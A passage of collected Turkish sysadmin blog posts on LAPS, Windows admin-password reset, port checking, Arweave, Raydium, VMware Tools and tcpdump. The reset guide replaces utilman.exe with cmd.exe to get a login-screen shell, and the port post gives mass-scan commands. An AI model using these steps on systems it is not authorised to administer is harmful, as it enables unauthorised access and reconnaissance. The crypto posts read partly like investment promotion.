tercihlerine bağlı olarak değişebilir. Her durumda, LAPS'ın istemci yazılımının doğru mimari (32 bit veya 64 bit) için uygun olanı seçilerek kurulması önemlidir. Manuel kurulumda Custom Setup bölümünde sadece "AdmPwd GPO Extension" bileşenini seçilmelidir, Diğerlerini kurmayabilirsiniz. ***GPO yada MECM üzerinden yapılan dağıtımlarda tamamı kurulacaktır. Kurulum sonu Client "C:\Program Files\LAPS\CSE" dizini içeriği aşağıdaki gibi olacaktır. Parolanın görülmesi ve Değiştirilme Tarihinin Belirlenmesi: "Fat Client UI" ile: Uygulama başlat menüsünde "Fat Client UI" arayüzü bulunur ve çalıştırılır. "Computer Name" alanına bilgisayarın adı girilir ve "Search" edilirse, o bilgisayarın yerel Administrator kullanıcısının parolasını çeker. "New Expiration Time" alanına ileri farklı bir tarih girilip "Set" edilirse, o tarihten itibaren bilgisayar yeni bir Administrator parolası üretir ve AD bilgisayar nesnesine bu parolayı yazar. ADUC "dsa.msc" (Active Directory Users and Computers) ile: "Active Directory Users and Computers" Administrator kullanıcısının parolası görülmek istenen bilgisayarın özelliklerine girilir. "Attributes" sekmesinde "Show only attributes that have values" izlenir. Parolanın ve parola süresinin dolacağı tarihleri gösteren attribute'leri içerir. PowerShell aracılığı ile: PowerShell'da "AdmPwd.PS" modülü içe aktarılır. Get-AdmPwdPassword cmdlet'i kullanılarak, belirtilen bilgisayarların parolası görüntülenir veya set edilebilir. Import-Module AdmPwd.PS Get-AdmPwdPassword -ComputerName MUHASEBE-03 Get-ADComputer -Filter * | Get-AdmpwdPassword # All Computers 🛑 Microsoft'un 2016 yılında ayrı bir MSI paketi olarak indirmeye sunduğu ve Grup İlkesi İstemci Tarafı Uzantısı (CSE) olarak çalışan Eski Microsoft LAPS ürünü ve kullandığı eski LAPS (AdmPwd.E) ile ilgili komutlar artık kullanımdan kaldırılmıştır. (deprecated). https://learn.microsoft.com/tr-tr/windows-server/identity/laps/laps-overview https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-scenarios-migration#migration-scenarios-from-legacy-laps-to-windows-laps-on-existing-devices https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-management-policy-settings Faruk Güler Saygılarımla. – Best regards. --- ## HOW TO RESET USER'S PASSWORDS ON WINDOWS SERVER & CLIENT Link: https://farukguler.com/posts/how-to-reset-users-passwords-on-windows-server-client/ Windows Server 2019'da unutulan veya kaybedilen yönetici parolası, sunucuya erişimi engelleyebilir ve önemli sorunlara yol açabilir. Neyse ki, Windows'un "Sorun Giderme" modu ve "Komut İstemi" aracılığıyla yönetici parolasını sıfırlamak mümkündür. Bu detaylı kılavuzda, Windows Server 2019'da yönetici parolasını nasıl sıfırlayacağınız adım adım anlatılmıştır Gereksinimler: Windows Server 2019 ISO dosyası: Microsoft'un resmi web sitesinden indirilebilir. IPMI erişimi veya fiziksel erişim: Bu işlemi gerçekleştirmek için sunucuya uzaktan veya fiziksel erişim sağlamanız gerekmektedir. Adım 1 – IPMI'ye Erişin: Eğer IPMI erişiminiz varsa, yönetici parolasını sıfırlamak için uzaktan erişim sağlayabilirsiniz. IPMI erişimi hakkında bilgi almak için şu kılavuzu takip edin: [IPMI'ye Nasıl Erişilir Kılavuzu - https://console.clouvider.co.uk Adım 2 – Boot Menüsüne Girin: Sunucuyu yeniden başlatın ve açılış sırasında F11 tuşuna basarak önyükleme menüsüne girin. Bu menüde Windows Server 2019 ISO'sunu seçin ve devam edin. Adım 3 – Kurulum Penceresi: Windows kurulum penceresi açıldığında, "İleri" seçeneğine tıklayarak devam edin. Adım 4 – "Bilgisayarınızı Onarın": "İleri" seçeneğini tıkladıktan sonra "Bilgisayarınızı Onarın" seçeneğini seçin. Adım 5 – "Sorun Giderme": "Bilgisayarınızı Onarın" seçeneğini seçtikten sonra, "Sorun Giderme" seçeneğini seçin. Adım 6 – "Komut İstemi": "Sorun Giderme" seçeneğini tıkladıktan sonra, "Komut İstemi" seçeneğini seçin. Adım 7 – CMD: "Komut İstemi"ni seçtikten sonra, aşağıdaki komutları sırasıyla girin: #Bozulmalara karşı CMD.exe ve UTILMAN.exe dosyalarının C:\ dizinine yedeklemek: copy C:\Windows\System32\utilman.exe C:\ && copy C:\Windows\System32\cmd.exe C:\ #Change Directory #d: c: cd Windows cd System32 move utilman.exe utilman.exe.bak copy cmd.exe utilman.exe net user administrator /active:yes shutdown -r -t 0 Bu komutlar, utilman.exe dosyasını cmd.exe ile değiştirerek Yönetici hesabını etkinleştirir ve sunucuyu yeniden başlatır. Adım 8 – Yeni Parola: Sunucu yeniden başladığında, ana oturum açma ekranında "Win+U" tuşlarına basarak Erişilebilirlik özelliklerini açın ve CMD penceresini başlatın. #Yeni bir Yönetici parolası belirlemek için aşağıdaki komutları girin: net user Administrator AdmPasswd365** exit Yeni parolanızı belirledikten sonra, CMD penceresini kapatın. Adım 9 – Geri Alma: Parola sıfırlama işlemi tamamlandıktan sonra, utilman.exe dosyasını eski hâline getirmek gereklidir. Bu nedenle, sunucuyu yeniden başlatın ve adımları tekrarlayın. "Komut İstemi"ni seçerek aşağıdaki komutları girin: cd Windows cd System32 del utilman.exe ren utilman.exe.bak utilman.exe shutdown -r -t 0 Sonuç: Bu adımları takip ederek, Windows Server 2019'daki Yönetici Parolasını sıfırlayabilir ve sunucunuza yeniden erişebilirsiniz. Unutmayın ki bu işlemi sadece yetkili kişiler yapmalı ve gerekli güvenlik önlemleri alınmalıdır. --- ## Port Nedir? Port Operations Link: https://farukguler.com/posts/port-nedir-bazi-port-operasyonlari/ Port, Bilgisayar ağlarında bir iletişim kanalını veya hizmetin belirli bir noktasını temsil eden numaralardır. İletişim kurmak için bilgisayarlar arasında paketlerin aktarıldığı bağlantı noktalarıdır. Bir port numarası, 16 bitlik bir tamsayı olarak ifade edilir ve genellikle 0 ile 65535 arasında değer alır. "Ama genel olarak kabul edilen port numaraları arasında yer almayan özel portlarda bulunmaktadır." Port numaraları, TCP (Transmission Control Protocol) veya UDP (User Datagram Protocol) gibi ağ protokollerinin üzerinde çalışan hizmetlerin tanımlanmasında kullanılır. Port numaraları "0 ile 65,535" arasında değer alabilir. Bu aralıktaki belirli port numaraları, belirli hizmetler veya protokoller tarafından kullanılır. İşte Bazı portların Wikipedia üzerinde bir listesi: https://tr.wikipedia.org Söz konusu 65,535 adet port, bu port numaralarının birbiriyle çakışmasını engellemek ve belirli hizmetleri veya protokolleri tanımlamak için standartlaştırılmıştır. Ancak, tüm port numaraları kullanılmamaktadır. Bazı port numaraları belirli bir hizmet veya protokolle ilişkilendirilmiştir, ancak bazıları da kullanıcıların özgürce kullanabileceği geçici portlardır. Port numaraları, ağ güvenliği, yönlendirme ve ağ trafiği yönetimi gibi konularda önemli bir rol oynar. #PORTS (1..65535 Total) and moreSome Linux Port Check Operations#################################sudo netstat -nlptu #(Sadece açık portları kullanan servisleri göster.)sudo netstat -tulpan #Serverde tüm açık portları ve diğer bilgileri incelemek için.sudo netstat -tpn | more #Aktif bağlantılarınızı ve bağlantılı işlemleri göster.sudo ss -tulpn #Açık portları, soketleri, servislerin durumunu ağ bilgilerini görüntüler.sudo ss -tulpan #TCP(-t) ve UDP(-u) bağlantılarını ve dinleme portlarını (-l) listeler.sudo lsof -i #Açık olan ağ bağlantılarını ve ilgili süreçleri listeler.#Some Windows Powershell Local Netstat#######################################netstatnetstat -anetstat -annetstat -ano #Aktif bağlantıları, dinlenen portları & bağlı (PID)'leri listele.netstat -o -n -a | findstr 0.0:80netstat -o -n -a | findstr 0.0:443Get-NetTCPConnectionGet-NetTCPConnection | Where-Object { $_.State -eq 'Established' } | Select-Object -Property LocalAddress, LocalPort, RemoteAddress, RemotePortGet-NetTcpConnection -State Listen | Select-Object LocalAddress,LocalPort| Sort-Object -Property LocalPort | Format-Tablenetstat -ano | findstr /i "listening" #(bilgisayarınızda açık ve dinleme modunda olan TCP ve UDP bağlantısı ve işlem kimliklerini (PID) noktaları göster)netstat -an |findstr /i "established" #(bilgisayarınızda kurulmuş olan TCP bağlantılarının bir listesini göster)netstat -an | findstr "443" #(443 numaralı portu kullanan tüm ağ bağlantılarının bir listesini getir)netstat -ano | findstr "3389" #(43389 numaralı portu kullanan tüm ağ bağlantılarının bir listesini getir)##TELNET Enable/Disable#CMDdism /online /Enable-Feature /FeatureName:TelnetClient #telnet enableddism /Online /Disable-Feature /FeatureName:TelnetClient#PS PowershellEnable-WindowsOptionalFeature -Online -FeatureName TelnetClientDisable-WindowsOptionalFeature -Online -FeatureName TelnetClient#Some Port Checks##################PowershellTest-NetConnection -ComputerName 127.0.0.1 -Port 80 #(Local check)Test-NetConnection -ComputerName 10.5.40.200 -Port 3389 #(Remote check)Test-NetConnection 10.5.10.10 -port 3389|Format-List *TNC 10.5.10.10 -Port 3389 -InformationLevel Detailedforeach ($port in 1..65535) {If (($a=Test-NetConnection 10.5.10.10 -Port $port -WarningAction SilentlyContinue).tcpTestSucceeded -eq $true){ "port $port acik!!"}}Test-NetConnection -ComputerName 10.5.10.85 -TraceRoute #Hedefte izlenen yol###Note: UDP bağlantı noktalarını Denetlemek için cmdlet(Powershell) kullanamazsınız!###Note: You cannot use cmdlet(Powershell) to Check UDP ports!#NETCATnc -zv 10.5.12.41 443 #TCP #(Netcat gerektirir, Specific)nc -zv 10.5.10.10 1-65535 2>&1 | grep succeeded #(Mass port check)nc -v -n -z -w5 10.5.8.12 1-3389 #(Specific)nc -v -n -z -w5 10.5.8.12 1-3389 2>&1 | grep succeeded! #(Mass port check)nc -z -v -u 10.5.10.30 123 #Sadece UDP olup tutarlı degildir. #(Netcat gerektirir, Specific)#TELNETtelnet 10.5.10.121 22 #(Telnet gerektirir, Specific)for port in {1..3390}; do (echo "quit") | telnet 10.5.10.10 $port 2>/dev/null | grep "Escape character is" && echo "Port $port is open"; done#(Mass port check)#LSOF:sudo lsof -nP -iTCP -sTCP:LISTENsudo lsof -i#NMAPnmap -sV --version-all -p- 10.5.80.47 #tüm servis ve portlar icinnmap -p 80 10.5.5.240 #(Nmap gerektirir, Temel tarama)nmap -p 80,443 10.5.16.240 #(Specific)nmap -p- 10.5.23.10 #Tüm açık portları hızlı bir şekilde tespit etnmap -p 1-65535 --open -T4 10.5.20.245 | grep 'open' #(Mass port check)sudo nmap -sU 10.5.55.20 #Nmap ile sadece UDP portları tarasudo nmap -p- -sU 10.5.55.20 #Nmap ile "TCP ve UDP" portlarını tarasudo nmap -sS -p 1-100 -sV 10.5.20.48 #portları ve çalışan servisleri tespit etsudo nmap -O 192.168.78.25 #OS Scan Saygı ve sevgiyle. - With respect and love. --- ## Arweave (AR) Nedir? İnternet'in Kalıcı Hafızası Link: https://farukguler.com/posts/arweave-ar-nedir/ Arweave (AR), geleneksel bir blockchain’den ziyade, verileri kalıcı olarak depolamak için tasarlanmış yeni bir tür depolama protokolüdür. O, “akıllı sözleşmelerin”, web sitelerinin, dApp’lerin ve değerli verilerin yüzlerce, hatta binlerce yıl boyunca değişmeden ve sansürlenemez bir şekilde saklanmasını sağlayan merkeziyetsiz bir kalıcı depolama ağıdır. Basitçe söylemek gerekirse, Arweave, internetin kaybolan veya değişen verilerine karşı bir “dijital İskenderiye Kütüphanesi” veya “zaman kapsülü” görevi görür. AR, bu ağa veri yüklemek için bir kerelik ödeme yapmak ve ağı güvence altına alan madencileri teşvik etmek için kullanılan yerel (native) kripto para birimidir. Arweave’in misyonu, kripto endüstrisinin ve internetin en temel zorluklarından biri olan “Kalıcılık Problemini” çözmektir. “Kalıcılık Problemi” Nedir? Günümüz interneti (Web2), doğası gereği son derece kırılgandır. Veriler kalıcı değildir; merkezi sunucularda barındırılır ve bu sunucuların sahiplerine (şirketler, hükümetler) bağımlıdır. Bir haber sitesi kapandığında, arşivindeki tüm haberler kaybolur. Bir şirketin API’si değiştiğinde, ona bağlanan tüm uygulamalar bozulur. Merkezi bir sunucu (örn. AWS) çöktüğünde, ona bağlı binlerce web sitesi erişilemez hale gelir. En önemlisi: “Sayfa Bulunamadı” (404 Hatası), internetin varsayılan durumudur. Veriler sürekli olarak kaybolur, bozulur veya sansürlenir. Asıl Problem: Blockchain’ler bile (NFT’ler dahil) genellikle bu sorundan muzdariptir. Birçok NFT’nin görüntüsü (JPEG/PNG dosyası), blockchain üzerinde değil, merkezi bir sunucuda durur. Eğer o sunucu kapanırsa, NFT’niz “boş bir çerçeveye” dönüşür. Veri kalıcı değildir. Arweave’in Çözümü: Blockweave ve Depolama Fonu Arweave, “verileri sonsuza dek saklama” vaadini üç temel teknoloji ile çözer: 1. Blockweave (Blok Dokuması) Arweave, “blockchain” (blok zinciri) yerine “blockweave” (blok dokuması) adı verilen benzersiz bir veri yapısı kullanır. Bir blockchain’de, her yeni blok sadece bir önceki bloğa bağlanır. Bir blockweave’de ise, her yeni blok sadece bir önceki bloğa DEĞİL, aynı zamanda ağın geçmişinden rastgele seçilmiş bir eski bloğa (recall block) da bağlanır. Bu yapı, madencileri sadece yeni işlemleri değil, aynı zamanda eski verileri de depolamaya zorlar. 2. Proof of Access (PoA - Erişim Kanıtı) Arweave’in konsensüs mekanizması (PoW’un bir çeşidi) madencilerin sadece işlem gücüne değil, aynı zamanda rastgele eski verilere ne kadar hızlı eriştiklerine de dayanır. Bir sonraki bloğu çıkarmak için, madencinin o “rastgele eski bloğa” (recall block) sahip olduğunu ve ona anında erişebildiğini kanıtlaması gerekir. Bu, madencileri daha fazla veri depolamaya teşvik eder. Ne kadar çok veri depolarlarsa, bir sonraki bloğu bulma ve AR token kazanma şansları o kadar artar. 3. Storage Endowment (Depolama Fonu) Bu, Arweave’in ekonomik modelinin kalbidir. Bir veriyi Arweave’e yüklemek için bir kerelik bir AR ücreti ödersiniz. Bu ücretin küçük bir kısmı mevcut madencilere gider. Ancak ücretin büyük bir kısmı, faiz benzeri bir sistemle çalışan bir “Depolama Fonu”na (Endowment) aktarılır. Bu fon, depolama maliyetlerinin zamanla düşeceği varsayımına dayanarak (teknoloji geliştikçe depolama ucuzlar), gelecekteki madencilere yüzlerce yıl boyunca o veriyi saklamaları için sürdürülebilir bir ödeme yapmayı garanti eder. Bu model, “bir kez öde, sonsuza dek sakla” felsefesini ekonomik olarak mümkün kılar. Arweave’in Hizmetleri: Sadece Arşivleme Değil Arweave, verileri “dondurmaktan” çok daha fazlasını sunar: Permaweb (Kalıcı Web): Blockweave’in üzerinde yer alan, insan tarafından okunabilir bir katmandır. Permaweb, sonsuza kadar yaşayacak web siteleri, bloglar, dApp’ler ve uygulamalar oluşturmanıza olanak tanır. Bir kez yüklendikten sonra asla kapatılamaz, değiştirilemez veya sansürlenemez. Akıllı Sözleşmeler (SmartWeave): Arweave, Ethereum’dan farklı bir akıllı sözleşme modeli kullanır. Hesaplama, ağın tamamı (madenciler) tarafından değil, kullanıcının cihazı (client-side) tarafından yapılır (“lazy evaluation” - tembel değerlendirme). Bu, çok daha ölçeklenebilir ve ucuz sözleşme etkileşimlerine olanak tanır. Kalıcı NFT Depolaması: NFT’lerin sadece “linkini” değil, bizzat sanat eserinin kendisini (medya dosyasını) zincir üzerinde kalıcı olarak depolamak için endüstri standardı haline gelmiştir. Veri Erişilebilirlik (DA) Katmanı: Solana (SOL) gibi yüksek hızlı blockchain’ler, devasa işlem geçmişlerini kalıcı olarak depolamak için Arweave’i bir “harici sabit disk” (veri erişilebilirlik katmanı) olarak kullanır. Merkeziyetsiz Sosyal Medya: Sansüre dayanıklı blog platformları, sosyal ağlar ve forumlar (Permaweb üzerinde). Gerçek Dünya Varlıkları (RWA): Tapu kayıtları, yasal belgeler, akademik makaleler gibi değişmemesi kritik olan belgelerin kalıcı arşivi. Tarihsel Arşivleme: Gazetecilik arşivi, tarihi belgeler veya “İnternet Arşivi” (Internet Archive) gibi girişimler için kalıcı bir yedek. AR Token’ı Ne İşe Yarar? (Ekonomik Kalıcılık) AR, Arweave ekosisteminin ekonomik motorudur ve “sonsuz depolama” vaadini finanse eder. Maksimum arzı 66 Milyon AR ile sınırlandırılmıştır. Depolama İçin Ödeme (Tekel): Arweave ağına herhangi bir veri (web sitesi, NFT, belge, arşiv) yüklemek isteyen herkes, ödemeyi yalnızca AR token ile yapmak zorundadır. Bu, “bir kerelik” bir ödemedir ve verinin boyutuna göre hesaplanır. Depolama Fonu (Endowment) Teminatı: Kullanıcıların ödediği AR token’larının büyük çoğunluğu, ağın gelecekteki güvenliğini ve veri saklama maliyetlerini karşılamak için Depolama Fonu‘na kilitlenir. Bu, ağın dolar bazındaki depolama maliyeti düşse bile (ki teknoloji ilerledikçe düşer), madencilerin AR bazında teşvik edilmeye devam etmesini sağlar. Madencilik Teşvikleri (Güvenlik): Madenciler, ağa yeni bloklar eklemek ve Proof of Access (Erişim Kanıtı) konsensüsüne katılarak eski verileri depoladıklarını kanıtlamak için AR token ile ödüllendirilir. Bu, verileri silmeyi ekonomik olarak mantıksız, saklamayı ise son derece kârlı hale getirir. Arweave vs. Filecoin (FIL): Temel Fark Arweave sıklıkla Filecoin ile karıştırılır, ancak ikisi temelde farklı amaçlara hizmet eder: Filecoin (FIL): “Airbnb” benzeri bir depolama kiralama pazarıdır. Kullanıcılar, verilerini belirli bir süre (örn. 6 ay, 1 yıl) saklamak için madencilerle anlaşır ve sürekli ödeme yaparlar. Ödemeyi durdurursanız, veriniz silinir. Bu, geçici ve “sıcak” depolama (Dropbox, AWS S3 alternatifi) için uygundur. Arweave (AR): Bir “müze” veya “kütüphane” gibidir. Veriyi kalıcı olarak arşivlemek için bir kerelik ücret ödersiniz. Bu, “soğuk” depolama ve değişmezlik (arşivleme) için uygundur. Sonuç Arweave (AR), internetin nasıl çalıştığına dair temel bir sorunu ele alan, son derece iddialı bir projedir. “Bir kez öde, sonsuza dek sakla” modeli ve Blockweave/PoA teknolojisi ile verilerin geçiciliğine karşı kalıcı bir çözüm sunar. Sadece bir depolama protokolü değil, aynı zamanda sansüre dayanıklı bir “Kalıcı Web” (Permaweb) ve diğer blockchain’ler için kritik bir Veri Erişilebilirlik (DA) katmanı olarak Arweave, Web3 altyapısının temel taşlarından biri olma potansiyeline sahiptir. --- ## Raydium (RAY) Nedir? Solana'nın Likidite Omurgası ve 2026 Vizyonu Link: https://farukguler.com/posts/raydium-ray-nedir/ Raydium (RAY), Solana blockchain’i üzerine inşa edilmiş, hem bir merkeziyetsiz borsa (DEX) hem de hibrit bir likidite sağlayıcısıdır. Proje, 2021 yılındaki başlangıcından bu yana Solana ekosisteminin “ana likidite katmanı” olma unvanını korumuş ve 2025 yılında devreye aldığı LaunchLab ile Raydium Perps gibi özelliklerle kapsamını bir DeFi süper uygulamasına dönüştürmüştür. Raydium’u rakiplerinden ayıran en temel unsur, sadece kendi havuzlarını değil, Solana üzerindeki merkezi emir defterlerini (OpenBook gibi) de besleyen hibrit mimarisi ve 2026 başı itibarıyla devreye giren türev işlem motorudur. 1. Teknik Mimari: Hibrit AMM ve Likidite Paylaşımı Raydium, Solana’nın yüksek hızından faydalanarak iki farklı dünyayı birleştirir: Merkezi Emir Defteri Entegrasyonu: Raydium, Solana üzerindeki merkezi limit emir defterleriyle doğrudan entegre çalışır. Raydium havuzuna eklenen her likidite, aynı zamanda emir defterinde bir alım-satım emri olarak görünür. Bu, profesyonel trader’ların kullandığı “derinliği” merkeziyetsiz bir havuzla birleştirir. CPMM ve CLMM Motorları: * CPMM (Standart Havuz): Yeni projelerin hızlıca likidite oluşturması için kullanılan klasik modeldir. CLMM (Konsantre Likidite): Sermaye verimliliğini 4000 kata kadar artıran profesyonel modeldir. Likidite sağlayıcılar (LP), sermayelerini sadece belirli fiyat aralıklarına odaklayarak çok daha yüksek işlem ücreti kazanırlar. 2. LaunchLab: 2025’in Büyüme Motoru Nisan 2025’te piyasaya sürülen LaunchLab, Raydium’un tarihindeki en büyük dönüm noktalarından biridir. Token Fabrikası: LaunchLab, Pump.fun gibi platformlara rakip olarak doğmuş, ancak “JustSendIt” ve “LaunchLab Mode” gibi seçeneklerle daha profesyonel lansman araçları sunmuştur. Otomatik Göç: LaunchLab üzerinden çıkan projeler, belirli bir hacme ulaştığında likiditelerini otomatik olarak kalıcı Raydium havuzlarına taşır ve likiditeyi (LP token) yakar. Ekonomik Katkı: 2025’in üçüncü çeyreğinde Raydium’un 25 milyon dolarlık gelirinin yaklaşık %48’i (11.9 milyon dolar) doğrudan LaunchLab’den gelmiştir. 3. Yeni Ufuk: Raydium Perps (Ocak 2026) 2 Ocak 2026 tarihi itibarıyla Raydium, ekosistemi türev piyasalara taşıyan Raydium Perps‘i duyurmuştur. Kaldıraçlı İşlemler: Kullanıcılar artık Solana üzerinde 40x’e kadar kaldıraçla 100’den fazla piyasada vadeli işlem yapabilmektedir. Hibrit Verimlilik: Spot likiditeyi türev işlemlerle birleştirerek, RAY token sahipleri için yeni bir gelir kapısı aralanmıştır. 4. RAY Token: Arz, Yakım ve Tokenomi Gerçekleri RAY token, kripto dünyasında “nakit akışı” üreten ve bu akışla kendi arzını azaltan en agresif deflasyonist modellerden birine sahiptir. Token Arz Bilgileri (Ocak 2026) Maksimum Arz: 555.000.000 RAY. Dolaşımdaki Arz: Yaklaşık ~290.000.000 RAY (%52+). Arzın Dağılımı: %34 Madencilik Rezervi, %30 Ortaklık & Ekosistem, %20 Ekip, %8 Likidite, %2 Danışmanlar. Geri Alım ve Yakım (Buyback & Burn) İstatistikleri Agresif Yakım: 2025 yılı boyunca Raydium, yaklaşık 100 milyon dolar değerinde RAY satın alarak yakmıştır. Mekanizma: * Standart havuz ücretlerinin %12‘si geri alımlara gider. Eski tip AMM (legacy) havuzlarındaki 0.03’lük ücretin tamamı yakılır. LaunchLab işlem ücretlerinin %25‘i doğrudan RAY yakımına tahsis edilir. Net Sonuç: Raydium, toplam arzının yaklaşık %4.5 ile %10’u arasındaki bir miktarını 2025 sonu itibarıyla kalıcı olarak imha etmiştir. 5. 2026 Yol Haritası: Neler Bekleniyor? Raydium Labs tarafından paylaşılan 2026 vizyonu, projenin sadece bir borsa olmaktan çıkıp bir finansal altyapıya dönüşmesini hedefliyor: LaunchLab Çeşitlendirmesi (Q1 2026): Sadece meme coin’ler değil, RWA (Gerçek Dünya Varlıkları) ve kurumsal token lansmanlarına odaklanma. Zincirler Arası (Cross-Chain) Swap: Solana ve Ethereum/L2 zincirleri arasında doğrudan varlık transferi entegrasyonu. Kurumsal Likidite Portalları: Kurumsal yatırımcılar için düşük kayma (slippage) garantili özel likidite havuzları. 6. Stratejik Risk Analizi Hiçbir yatırım risksiz değildir. Raydium için en büyük tehditler şunlardır: Jupiter (JUP) Baskısı: Solana kullanıcılarının çoğu işlem yapmak için Jupiter gibi agregatörleri (fiyat karşılaştırıcıları) kullanıyor. Raydium, likiditeyi sağlayan taraf olsa da, son kullanıcıya doğrudan temas etme konusunda JUP ile rekabet içindedir. Regülasyonlar: DEX’lerin ve otomatik token lansman araçlarının (LaunchLab) yasal statüsü, 2026 yılında küresel regülatörlerin merceğindedir. Ağ Kararlılığı: Solana ağında yaşanabilecek olası kesintiler, doğrudan Raydium’un işlem hacmini ve gelirlerini etkilemektedir. Sonuç Raydium (RAY), Solana ekosisteminin sadece bir borsası değil; yakıtı, motoru ve en büyük gelir üreticisidir. 2025 yılındaki LaunchLab başarısını 2026 başında devreye aldığı kaldıraçlı işlemlerle taçlandıran proje, “nakit akışı sağlayan ve arzı azalan” nadir kripto projelerinden biridir. Raydium’a yatırım yapmak; Solana’nın büyümesine, merkeziyetsiz finansın derinleşmesine ve RAY token’ın her geçen gün daha kıt hale geleceğine dair yapılmış bir bahistir. --- ## VMware Tools Kurulumu ve Update Edilmesi Link: https://farukguler.com/posts/vmware-tools-install-update/ Standart bir vmware tools upgrade sürecinde vmler için restart gereklidir. Ancak bazı durumlarda vmlerin restart edilmesi hizmet kesintilerine neden olacaktır Bu durumda reboot olmaksızın upgrade işlemini yapmak için aşağıdaki adımlar izlenmelidir. VMware Tools 10x, 11x, 12x vs. indirme linkleri: https://customerconnect.vmware.com/downloads/#all_products https://customerconnect.vmware.com/downloads/info/slug/datacenter_cloud_infrastructure/vmware_tools/12_x Warning: A newer version of VMware Tools is available for this virtual machine. ESXI tüm "vmtoolslar" için Download link: https://packages.vmware.com/tools/releases https://packages.vmware.com/tools/esx Bu işleme başlmadan önce vm üzerinde eski dahi olsa bir vmware tools kurulumunun yapılmış olması gerekir. a) Interactive Upgrade #################### Bu seçenekte VMware Tools içeren disk isosu sanal CD/DVD sürücüsüne mount edilecektir. Sanal makinenin konuk işletim sistemi çalışıyor olmalıdır. Ardından sanal CD/DVD'den VMware Tools Upgrade sihirbazını çalıştırarak makine içerisinden Vmware toolsu kurabilirsiniz. b) Automatic Upgrade ######################### Bu seçenekte ise VMware Tools, işletim sistemi ile etkileşime girmeden sadece komutlar ile otomatik olarak update edilecektir. Gerekirse, işletim sistemi otomatik olarak yeniden başlatılacaktır. haliyle bunu belirleyen komutlarınız olacaktır. #Windows makinelere restart etmeden vmtools yüklemek için farklı komutlar kulllanılabilir: /s /v “/qn REBOOT=ReallySuppress” Ancak aklınızda bulunsun ki en kısa ve müsait zamanda Yeniden başlatma hala gereklidir. Bunu manuel olarak yapmanız gerekir. /S /v “/qn REBOOT=R ADDLOCAL=ALL” /S /v”/qn REBOOT=R” Linux sunuculara vmtools yüklemek için ise: CLI: sudo apt install open-vm-tools ########################################################################### Ancak en kısa ve müsait zamanda makinenizi Yeniden başlatmanız gereklidir. Linux için "VMware Tools" kurulumu linux paketlerin güncelleyin - update linux packages sudo apt update Server için kurulum - For Server sudo apt install open-vm-tools #sudo reboot #desktop için- for Desktops sudo apt install open-vm-tools-desktop #sudo reboot Manuel Kurulum: Eğer Linux Sunucunuzun herhangi bir internet erişimi yoksa vmware tools iso‘sunu manuel indirip guest‘e mount ederek aşağıdaki komutları çalıştırmalısınız. sudo apt-get update sudo apt-get install perl sudo mkdir /mnt/cdrom sudo mount /dev/cdrom /mnt/cdrom ls /mnt/cdrom tar -xvf /mnt/cdrom/VMwareTools-x.x.x-yyyy.tar.gz -C /tmp/ cd /tmp/vmware-tools-distrib/ sudo ./vmware-install.pl -d sudo reboot Windows Server için "VMware Tools" kurulumu Yukarı kısımda vermiş olduğum linklerden windows için vmtools'u .zip .gz vs formatlarda indirip manuel olarak yükleyebilirsiniz. #VMware Tools packages for Windows #VMware Tools for Windows, 32-bit in-guest installer #VMware Tools for Windows, 64-bit in-guest installer VMware Tools durumunu doğrulamak için: #Ubuntu veya Debian tabanlı sistemler için: dpkg -l open-vm-tools systemctl status open-vm-tools #CentOS veya RHEL tabanlı sistemler için: rpm -qa | grep open-vm-tools systemctl status vmtoolsd #Windows tabanlı sistemler için: Get-Service vmtools | Select-Object -Property *,@{Name="Version";Expression={$version}} Ayrıca Vcenter kullanıyorsanız, Vsphere Client ekranında yer alan summary kısmından vmware tools!un yüklendiğini teyit edebilirsiniz. Kurulum sonunda taskbar'dan yapılan işlemin sonucunu görebilirsiniz. Saygılarımla. – Best regards. --- ## Tcpdump Nedir? - What is Tcpdump? Link: https://farukguler.com/posts/tcpdump-nedir-kullanimi-hakkinda/ Tcpdump, ağ trafiğini izlemek, analiz etmek ve yakalamak için kullanılan bir komut satırı tabanlı bir araçtır. İlk olarak UNIX ve UNIX benzeri işletim sistemlerinde kullanılan Tcpdump, ağ paketlerini yakalayarak, ağ trafiğini analiz etmenizi sağlar. Bu, ağ sorunlarını teşhis etmek, ağ güvenliğini denetlemek veya ağa giren veya çıkan verileri incelemek gibi birçok amaç için kullanılabilir. Tcpdump, ağ arabirimini dinleyerek geçen ağ paketlerini yakalar ve bunları insan tarafından okunabilir bir formatta sunar. Bu, farklı ağ protokollerine (TCP, UDP, ICMP, IP, vb.) ve ağ katmanına (Ethernet, WiFi, vb.) bağlı olarak çalışabilir. Tcpdump, genellikle aşağıdaki gibi çeşitli parametrelerle kullanılır: İnterface: İzlenecek olan ağ arabirimini belirtir. Örneğin, "eth0" veya "wlan0" gibi bir ağ arabirimi adı kullanılır. Filtrasyon: Yalnızca belirli paketleri yakalamak için kullanılan filtrelerdir. Bu, belirli bir IP adresi veya protokolü filtrelemek, belirli bir port numarasına sahip paketleri yakalamak veya belirli bir veri paketi biçimine sahip paketleri yakalamak gibi çeşitli filtreler kullanabilirsiniz. Sayı: Yakalanacak paket sayısını belirtir. Varsayılan olarak, Tcpdump sonsuz bir şekilde paketleri yakalamaya devam eder, ancak belirli bir sayıda paket yakalamak istiyorsanız, bu parametreyi kullanabilirsiniz. Dosya: Yakalanan paketleri bir dosyaya kaydetmek için kullanılır. Bu, yakalanan trafiği daha sonra analiz etmek veya başka bir araca aktarmak için kullanışlı olabilir. Tcpdump, ağ trafiği üzerinde gerçek zamanlı izleme, paketleri filtreleme, protokol analizi ve ağ güvenliği denetimi gibi birçok kullanım senaryosuna uygundur. Ancak, doğru bir şekilde kullanmak için ağ protokollerini ve Tcpdump'un sunduğu filtreleme seçeneklerini anlamak önemlidir. Eğer işletim sisteminizde "TCPdump" yüklü değilse, onu paket yöneticisi kullanarak veya kaynak kodunu indirip derleyerek kurmanız gerekebilir. İşletim sisteminize bağlı olarak kurulum yöntemleri değişebilir. #Ubuntu/Debian: apt-get update apt-get install tcpdump #Centos/RHEL: sudo yum update sudo yum install tcpdump #Kullanımı: #ana kullanım komutu: tcpdump #tcpdump hakkında detaylı bilgi: man tcpdump Capture-Yakalama Komutları: KOMUT ÖRNEK KULLANIM AÇIKLAMA -i any tcpdump -i any Tüm arabirimlerden yakalar; süper kullanıcı izni gerekebilir (sudo/su) -i eth0 tcpdump -i eth0 eth0 arabiriminden yakalar -c count tcpdump -i eth0 -c 5 Belirli sayıda paket alındıktan sonra durur (örneğin, -c 5 ile 5 paket alındıktan sonra durur) -r captures.pcap tcpdump -i eth0 